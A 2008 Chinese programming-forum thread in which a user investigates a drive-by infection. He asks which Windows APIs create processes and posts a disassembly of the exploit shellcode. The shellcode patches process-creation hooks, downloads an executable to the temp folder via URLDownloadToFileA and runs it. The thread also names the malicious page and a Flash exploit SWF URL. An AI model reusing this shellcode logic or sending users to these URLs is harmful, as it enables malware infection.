创建进程 NtCreateProcess

Yofoo 2008-08-22 08:51:02
创建进程有很多方法, CreateProcess, ShellExecute...
但是这些最终是调用 NtCreateProcess(ZwCreateProcess)这个函数来创建的

除了NtCreateProcess 是否还有其他哪些函数可以创建进程?


今天打开一个网站, 遇到病毒, 我用OllyDBG 调试IE, 在ZwCreateProcess加上断点(还有其他函数), 打开这个网址,
然后IE就创建了一个进程, 但是断点并没有断下来! 我的系统是XP+sp2
网址是: (注意该网址脚本有恶意代码, 会中毒)
http://cache.baidu.com/c?m=9d78d513d9d437ae4f9ce3697c62c0161c4380122ba7db020ea2843e92732b45506793ac57210770d9d13b275fa0131aacb22173441e3de2c897df0bcabbe57f73df6123706bd71c4dc419d89a1a389260d601b8f14efac9f03393acd0d4dd5550ce51077997f0fc00464b94&p=9267ca1fca904eaf0dbd9b7455&user=baidu


后来我用虚拟机打开这个网址, 加断点, 虚拟机中会断下来
会运行"C:\WINDOWS\system32\cmd.exe" /c C:\WINDOWS\~tmp8200.exe 但是这是另外一个exe, 与普通机器不同



问题:
1. 除了NtCreateProcess 是否还有其他哪些函数可以创建进程?
2. 有兴趣的话帮我分析htm代码, 看恶意代码在哪?
3. 这个网址在IE是如何创建进程(不是虚拟机的那种)?

...全文
642 8 打赏 收藏 转发到动态 举报
写回复
用AI写文章
8 条回复
切换为时间正序
请发表友善的回复…
发表回复
Waiting4you 2008-08-23
  • 打赏
  • 举报
回复
楼主是强人,学习一下
Yofoo 2008-08-23
  • 打赏
  • 举报
回复
这个应该是溢出代码
Yofoo 2008-08-23
  • 打赏
  • 举报
回复

seg000:07239B0B ; 00 07239CCF 7C801D77 kernel32.LoadLibraryA
seg000:07239B0B ; 04 07239CD3 7C835DCA kernel32.GetTempPathA
seg000:07239B0B ; 08 07239CD7 7C831EAB kernel32.DeleteFileA
seg000:07239B0B ; 0C 07239CDB 7C81DDD6 kernel32.CreateProcessInternalA
seg000:07239B0B ; 10 07239CDF 7C80C058 kernel32.ExitThread
seg000:07239B0B ; 14 07239CE3 7C801AD0 kernel32.VirtualProtect
seg000:07239B0B ; 18 07239CE7 7C819513 kernel32.CreateProcessInternalW
seg000:07239B0B ; 1C 07239CEB 7C810AD9 kernel32.CompareFileTime
seg000:07239B0B ; 20 07239CEF 7C8017E5 kernel32.GetSystemTimeAsFileTime
seg000:07239B0B ; 24 07239CF3 7C92D769 ntdll.ZwCreateProcessEx
seg000:07239B0B ; 28 07239CF7 7C92EA32 ntdll.ZwWriteVirtualMemory
seg000:07239B0B ; 2C 07239CFB 75CBB147 urlmon.URLDownloadToFileA
seg000:07239B0B
seg000:07239B0B sub_7239B0B proc near ; CODE XREF: sub_7239AF1:loc_7239BEBp
seg000:07239B0B
seg000:07239B0B var_28 = dword ptr -28h
seg000:07239B0B var_1C = dword ptr -1Ch
seg000:07239B0B var_10 = dword ptr -10h
seg000:07239B0B var_C = word ptr -0Ch
seg000:07239B0B var_4 = dword ptr -4
seg000:07239B0B
seg000:07239B0B pop esi
seg000:07239B0C rep movsd
seg000:07239B0E pop esi
seg000:07239B0F mov edi, [esi+24h] ; ZwCreateProcessEx
seg000:07239B12 call VirtualProtect
seg000:07239B17 push 1Ah
seg000:07239B19 push 0Dh
seg000:07239B1B push 0
seg000:07239B1D mov eax, ebp
seg000:07239B1F add eax, [esp+ebx*4+4+var_4]
seg000:07239B22 mov byte ptr [edi], 68h
seg000:07239B25 inc edi
seg000:07239B26 stosd
seg000:07239B27 mov byte ptr [edi], 0C3h
seg000:07239B2A mov edi, [esi+28h] ; ZwWriteVirtualMemory
seg000:07239B2D call VirtualProtect
seg000:07239B32 push 3Dh
seg000:07239B34 push 36h
seg000:07239B36 push 27h
seg000:07239B38 mov eax, ebp
seg000:07239B3A add eax, [esp+ebx*4+10h+var_10]
seg000:07239B3D mov byte ptr [edi], 68h
seg000:07239B40 inc edi
seg000:07239B41 stosd
seg000:07239B42 mov byte ptr [edi], 0C3h
seg000:07239B45 mov edi, [esi+18h] ; CreateProcessInternalW
seg000:07239B48 call VirtualProtect
seg000:07239B4D push 0A0868h
seg000:07239B52 push 0A0868h
seg000:07239B57 push 6AEC8B55h
seg000:07239B5C mov eax, [esp+ebx*4+1Ch+var_1C]
seg000:07239B5F stosd
seg000:07239B60 xor eax, eax
seg000:07239B62 push eax
seg000:07239B63 push eax
seg000:07239B64 push 0FFFFFFFFh
seg000:07239B66 mov eax, [esp+ebx*4+28h+var_28]
seg000:07239B69 stosb
seg000:07239B6A lea edi, [esi+133h]
seg000:07239B70 push edi
seg000:07239B71 push 0FFh
seg000:07239B76 call dword ptr [esi+4] ; GetTempPathA
seg000:07239B79 add eax, edi
seg000:07239B7B mov dword ptr [eax], '.zro'
seg000:07239B81 mov dword ptr [eax+4], 'exe'
seg000:07239B88 push edi
seg000:07239B89 call dword ptr [esi+8]
seg000:07239B8C xor ebx, ebx
seg000:07239B8E push ebx
seg000:07239B8F push ebx
seg000:07239B90 push edi
seg000:07239B91 lea eax, [esi+34h]
seg000:07239B94 push eax
seg000:07239B95 push ebx
seg000:07239B96 call dword ptr [esi+2Ch] ; URLDownloadToFileA
seg000:07239B99 xor eax, eax
seg000:07239B9B mov edi, esp
seg000:07239B9D push 12h
seg000:07239B9F pop ecx
seg000:07239BA0
seg000:07239BA0 loc_7239BA0: ; CODE XREF: sub_7239B0B+96j
seg000:07239BA0 stosd
seg000:07239BA1 loop loc_7239BA0
seg000:07239BA3 mov [esp+48h+var_C], 101h
seg000:07239BAA mov edi, esp
seg000:07239BAC lea eax, [edi+10h]
seg000:07239BAF push ecx
seg000:07239BB0 push edi
seg000:07239BB1 push eax
seg000:07239BB2 push ecx
seg000:07239BB3 push ecx
seg000:07239BB4 push ecx
seg000:07239BB5 push ecx
seg000:07239BB6 push ecx
seg000:07239BB7 push ecx
seg000:07239BB8 push ecx
seg000:07239BB9 lea edx, [esi+133h]
seg000:07239BBF push edx
seg000:07239BC0 push ecx
seg000:07239BC1 call dword ptr [esi+0Ch] ; CreateProcessInternalA
seg000:07239BC4 add esp, 254h
seg000:07239BCA popa
seg000:07239BCB push dword ptr [ecx-14h]
seg000:07239BCE retn 4
seg000:07239BCE sub_7239B0B endp ; sp-analysis failed
seg000:07239BCE

Yofoo 2008-08-23
  • 打赏
  • 举报
回复
找到原因了, 是一个Flash脚本产生病毒
http://h-nan.net.cn/i28.swf

应该是利用Flash的漏洞来的,
Flash版本
Flash9b.ocx Ver: 9.0.28.0


升级 Flash 到9f就不会感染病毒


flash脚本还会自动还原Detours的 Hook, 强毒啊
greatws 2008-08-22
  • 打赏
  • 举报
回复
虚拟机刚坏了,不敢试...帮定
Waiting4you 2008-08-22
  • 打赏
  • 举报
回复
中毒的表现是什么? 我访问了一下好像是enet.com.cn下的一下baidu快照?电脑没什么反应。
  • 打赏
  • 举报
回复
......
访问了,没感染病毒.可能是我windows目录没权限新建文件吧.
cnzdgs 2008-08-22
  • 打赏
  • 举报
回复
NtCreateProcessEx

15,471

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC 进程/线程/DLL
社区管理员
  • 进程/线程/DLL社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧